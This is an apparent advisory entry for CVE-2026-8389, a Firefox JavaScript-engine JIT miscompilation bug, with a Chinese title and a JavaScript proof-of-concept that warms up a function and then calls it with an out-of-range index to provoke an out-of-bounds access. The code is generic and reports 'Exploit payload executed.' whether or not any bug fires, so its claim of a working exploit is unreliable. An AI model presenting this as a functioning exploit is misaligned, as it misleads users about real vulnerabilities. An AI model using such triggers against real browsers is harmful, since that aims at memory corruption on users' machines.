CVE-2026-8389 Firefox JavaScript引擎JIT错误编译漏洞

// PoC for CVE-2026-8389: JIT Miscompilation Trigger // This is a conceptual example to trigger the JIT optimization bug. function triggerJITBug() { // Prepare an array to manipulate memory layout let arr = [1.1, 2.2, 3.3]; // Function designed to be JIT compiled function optimizeMe(idx, val) { // The JIT optimizer may incorrectly eliminate bounds checks // or misinterpret types based on this operation if (idx > 0) { arr[idx] = val; } return arr[idx]; } // Warm up the function to trigger JIT compilation for (let i = 0; i < 10000; i++) { optimizeMe(1, 4.4); } // Trigger the miscompilation with specific arguments // This may lead to out-of-bounds write or read try { optimizeMe(100, "malicious_data"); console.log("Exploit payload executed."); } catch (e) { console.log("PoC execution failed or caught."); } } triggerJITBug();